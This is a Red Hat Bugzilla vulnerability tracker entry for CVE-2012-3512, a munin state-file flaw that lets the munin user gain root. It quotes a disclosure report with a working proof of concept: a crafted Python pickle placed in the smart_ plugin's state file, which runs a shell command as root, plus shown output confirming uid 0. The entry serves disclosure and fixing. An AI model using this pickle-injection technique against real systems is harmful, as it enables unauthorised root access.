This service will be undergoing maintenance at 20:00 UTC, 2017-04-03. It is expected to last about 30 minutes
Bug 849830 - (CVE-2012-3512) CVE-2012-3512 munin: insecure state file handling, munin->root privilege
CVE-2012-3512 munin: insecure state file handling, munin->root privilege
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
All Linux
medium Severity medium
: ---
: ---
Assigned To: Red Hat Product Security
: Security
Depends On: 849831 849834 849836
  Show dependency treegraph
Reported: 2012-08-21 01:09 EDT by Kurt Seifried
Modified: 2012-11-29 18:02 EST (History)
4 users (show)

See Also:
Fixed In Version: munin 2.0.6
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2012-11-29 18:02:38 EST
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

  None (edit)
Description Kurt Seifried 2012-08-21 01:09:46 EDT
Stevie Trujillo <> reports:

Package: munin-plugins-core
Version: 1.4.5-3
Severity: grave
Tags: upstream security

Hello, copying kenyon's report from :

Currently, plugins which run as root mix their state files in the same
directory as non-root plugins. The state directory is owned by
munin:munin and is group-writable. Because of these facts, it is
possible for an attacker who operates as user munin to cause a
root-run plugin to run arbitrary code as root.

A proof-of-concept example is the smart_ plugin. It must run as root
to access disk SMART data. It also stores state in Python pickle
format, which can store executable Python code. Example follows:

# su -s /bin/sh -c /bin/sh munin
$ cd /var/lib/munin/plugin-state
$ mv smart-sda.state smart-sda.state.orig
$ cat
import pickle
import subprocess
import sys

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh', '-c', 'id > /tmp/whoami'),))

pickle.dump(RunBinSh(), sys.stdout)
$ python > smart-sda.state
# wait for node to run smart_ plugin
$ cat /tmp/whoami
uid=0(root) gid=110(munin) groups=0(root),110(munin)

A possible solution is to have a directory dedicated to each plugin,
especially plugins which may run with superuser privileges, so that
less-privileged users cannot modify their state files. This cannot be
enforced by munin on all plugins, but this can be enforced by munin
developers for plugins shipped with the munin package. We should
consider making it easy for plugin writers to do this, maybe by making
the perl/bourne shell/other language munin plugin API use a dedicated
plugin state directory for each plugin. Otherwise, a plugin could be
hardcoded to create and use a subdirectory of the existing
plugin-state directory.

Thanks to "cnu" on the munin IRC channel for raising this issue and
providing the smart_ example.
Comment 1 Kurt Seifried 2012-08-21 01:14:04 EDT
Created munin tracking bugs for this issue

Affects: fedora-all [bug 849834]
Comment 2 Kurt Seifried 2012-08-21 01:15:00 EDT
Created munin tracking bugs for this issue

Affects: epel-all [bug 849836]

Note You need to log in before you can comment on or make changes to this bug.